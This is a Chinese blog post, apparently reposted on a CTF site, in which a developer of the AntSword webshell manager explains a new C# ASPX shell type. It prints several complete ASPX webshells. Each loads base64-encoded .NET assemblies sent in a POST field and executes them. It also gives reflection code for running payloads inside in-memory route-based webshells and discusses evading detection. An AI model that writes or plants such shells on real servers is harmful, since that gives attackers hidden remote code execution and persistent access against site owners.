聊聊新类型ASPXCSharp

渗透技巧 2年前 (2022) admin
1,583 1 0

前言


聊聊新类型ASPXCSharp 最近花了点时间,给蚁剑加上了C#的shell类型。


其实蚁剑在实现jscript加载assembly之后,jscript已经可以实现所有C#可以实现的功能:http://yzddmr6.com/posts/jscript-load-csharp-assembly/

这次增加主要是有几点考虑:


    1. Jscript的shell出现很容易被杀。我还没有见过用jscript写的项目,web目录下面出现了Jscript文件99.99%就是 Webshell,特征更明显一些。


    2. Jscript的语法属实恶心。没有啥文档,坑全部靠踩。


    3. C#类型可以兼容asp.net 各种内存马,Jscript无法做到。


本文记录一下自己在开发设计的过程中,遇到的一些问题以及自己的思考。

自定义类名


其实一开始遇到的问题是无法自定义类名的问题。c#跟java有一点不同的是,java的 newInstance 是不需要指定 type 的,只要有Class对象就可以实例化。但是c#在实例化的时候必须要指定实例化的type,这也意味着我们所有的全限定类名必须要一样。


冰蝎默认类名都是 U,就建在根命名空间下。每个 Payload 是单独编译的。


哥斯拉同样采用了这种机制,实例化的类名是 LY。但是因为哥斯拉采用的方式是一次性把Payload 都打到内存里然后反射调用,所以可以把所有的基础 Payload 都编译到一个dll里面。


但是这样开发Payload的时候会很难受,因为在同一个项目下面都用一个固定的类名,编译器是会报冲突的。


聊聊新类型ASPXCSharp 后来想到了一种取巧的办法,用 python 命令行调用编译程序,在编译之前把类名都统一替换掉。暂时解决了问题,但是还是感觉不够优雅。


那么有没有什么办法可以动态获取到assembly的type呢?


翻了翻手册,发现以下方法:


GetType()

获取当前实例的 Type。(继承自 Object)

GetTypes()

获取此程序集中定义的类型。

GetName()

获取此程序集的 AssemblyName


写代码测试一下:


String Payload = "xxx";
System.Reflection.Assembly a = System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));
Console.WriteLine("Assembly.GetName: "+a.GetName());
Console.WriteLine("Assembly.GetName.Name: "+a.GetName().Name);
Console.WriteLine("Assembly.GetType: "+a.GetType());
Console.WriteLine("Assembly.GetTypes[0]: "+a.GetTypes()[0]);
Console.WriteLine("Assembly.GetTypes[0].FullName: "+a.GetTypes()[0].FullName);


output:


Assembly.GetName: BASE_Info, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
Assembly.GetName.Name: BASE_Info
Assembly.GetType: System.Reflection.Assembly
Assembly.GetTypes[0]: BASE_Info.Run
Assembly.GetTypes[0].FullName: BASE_Info.Run

Assembly.GetTypes 返回的是一个列表,而Payload里面我们通常只会定义一个类,所以可以通过 Assembly.GetTypes[0] 来获取Payload类的 type。


WebShell 中可以采用如下写法。


<%@ Page Language="c#"%>
<%
String Payload = Request.Form["ant"];
if (Payload != null){
  System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));
  assembly.CreateInstance(assembly.GetTypes()[0].FullName).Equals(Context);
}
%>



这里又跟java的defineClass不太一样,defineClass只能打进去一个类,而c#的Assembly.Load可以加载一个程序集,并不一定只是一个类。所以为了考虑今后payload里可能会有多个类的情况,推荐的写法如下:


<%@ Page Language="c#"%>
<%
String Payload = Request.Form["ant"];
if (Payload != null){
  System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));
  assembly.CreateInstance(assembly.GetName().Name + ".Run").Equals(Context);
}
%>


即强行指定实例化的类为命名空间下名为Run的类。

兼容内存马

rebeyond大佬在最开始用加载 assembly 作为aspx类型的shell时,默认Equals里面是this对象。也就是Page对象。这种方式在aspx文件落地的情况下没有毛病,但是在内存马环境下,是没有Page对象的,这种办法也就不兼容


聊聊新类型ASPXCSharp


微软文档如下图


聊聊新类型ASPXCSharp


哥斯拉则对此进行了兼容处理,不再采用Page对象,而采用了兼容性更好的HttpContext


聊聊新类型ASPXCSharp


其实入口参数的本质就是获取到当前的 request 跟 response 对象。

吸取了 jsp 的经验,一开始 parseObj 函数内置了三种方法:


public void parseObj(Object obj) {
  if (obj.GetType().IsArray) { //直接数组传入
    Object[] data = (Object[])obj;
    this.Request = (HttpRequest)data[0];
    this.Response = (HttpResponse)data[1];
  } else {
    try {
      Page page = (Page)obj;// 传入Page对象
      this.Response = page.Response;
      this.Request = page.Request;
    } catch (Exception) {
      HttpContext context = (HttpContext)obj;//传入HttpContext对象
      this.Response = context.Response;
      this.Request = context.Request;
    }
  }
}


所以在shell中用以下写法均可连接


// 利用Page对象
System.Reflection.Assembly.Load(Convert.FromBase64String(Payload)).CreateInstance(xxx).Equals(this);

// 利用Context对象
System.Reflection.Assembly.Load(Convert.FromBase64String(Payload)).CreateInstance(xxx).Equals(Context);

// 利用数组
System.Reflection.Assembly.Load(Convert.FromBase64String(Payload)).CreateInstance(xxx).Equals(new object[] { Request, Response });


以 asp.net 的 Route 内存马为例,从 route 上下文中获取到的 Context 是 HttpContextBase,而不是 HttpContext。具体的实现类为System.Web.HttpContextWrapper


聊聊新类型ASPXCSharp


并且通过HttpContextWrapper.Request获取到的对象是HttpRequestBase,默认实现类是System.Web.HttpRequestWrapper。有点类似Tomcat的门面模式。


聊聊新类型ASPXCSharp


如果要采用数组的方式可以用以下反射代码实现


FieldInfo requestField = typeof(HttpRequestWrapper).GetField("_httpRequest", BindingFlags.Instance | BindingFlags.NonPublic);

HttpRequest httpRequest = (HttpRequest)requestField.GetValue(httpContext.Request);

FieldInfo responseField = typeof(HttpResponseWrapper).GetField("_httpResponse",BindingFlags.Instance | BindingFlags.NonPublic);
HttpResponse httpResponse = (HttpResponse)responseField.GetValue(httpContext.Response);

System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));

assembly.CreateInstance(assembly.GetName().Name + ".Run").Equals(new object[] { httpRequest, httpResponse });


访问注入内存马的aspx,一片空白说明注入成功


聊聊新类型ASPXCSharp


聊聊新类型ASPXCSharp 蚁剑中输入任意 URL,连接成功。


聊聊新类型ASPXCSharp

进一步思考


聊聊新类型ASPXCSharp 看起来不错了,但是还有继续优化的空间吗?


Java中一个比较著名的问题是内存马回显,实际上是如何从当前线程获取当前的 request 跟 response 对象。这个问题其实比较蛋疼,因为不同的容器有不同的实现细节,无法统一处理。


但是C#则直接把这个接口给暴露了出来,直接可以通过 HttpContext.Current 获取到当前的context,从而获取当前的 request 跟 response 对象。


再次改造之后,payload 中 parseObj 如下:


public void parseObj(Object obj) {
  if (obj.GetType().IsArray) {
    Object[] data = (Object[])obj;
    this.Request = (HttpRequest)data[0];
    this.Response = (HttpResponse)data[1];
  }else{
    try {
      HttpContext context = (HttpContext)obj;
      this.Response = context.Response;
      this.Request = context.Request;
    }catch (Exception){
      HttpContext context = HttpContext.Current;
      this.Response = context.Response;
      this.Request = context.Request;
    }
  }
}


改版后我们去掉了兼容性不强的 Page 方式,如果数组方式跟 Context 都无法获取的话,就尝试通过 HttpContext.Current 来拿到当前的 Context

所以其实在shell中直接Equals(null),或者一个随意对象即可。


<%@ Page Language="c#"%>
<%
String Payload = Request.Form["ant"];
if (Payload != null) {
  System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));
  assembly.CreateInstance(assembly.GetName().Name + ".Run").Equals(null);
}
%>


同样可以连接成功


聊聊新类型ASPXCSharp


至于为什么没有把原来的入口参数方式全部都去掉,是因为新类型并没有在实战环境中测试过。不知道会不会有一些特殊情况。为了谨慎起见,还是保留了原来的入口参数。


最后

个人喜欢开发一些工具,同时记录下自己的碎碎念。如果能对你有帮助,那就最好不过了。


本文对应代码 Github 提交记录:

https://github.com/AntSwordProject/antSword/commit/d2d848c89e03088c20cc31f411e73fe2dd2973ea


该功能目前暂未正式发布,如需体验可自行更新蚁剑源代码为 v2.1.x 分支,体验开发版的乐趣(Bug)~




聊聊新类型ASPXCSharp


原文始发于微信公众号(学蚁致用):聊聊新类型ASPXCSharp

版权声明:admin 发表于 2022年1月6日 下午4:29。
转载请注明:聊聊新类型ASPXCSharp | CTF导航

相关文章

1 条评论

您必须登录才能参与评论!
立即登录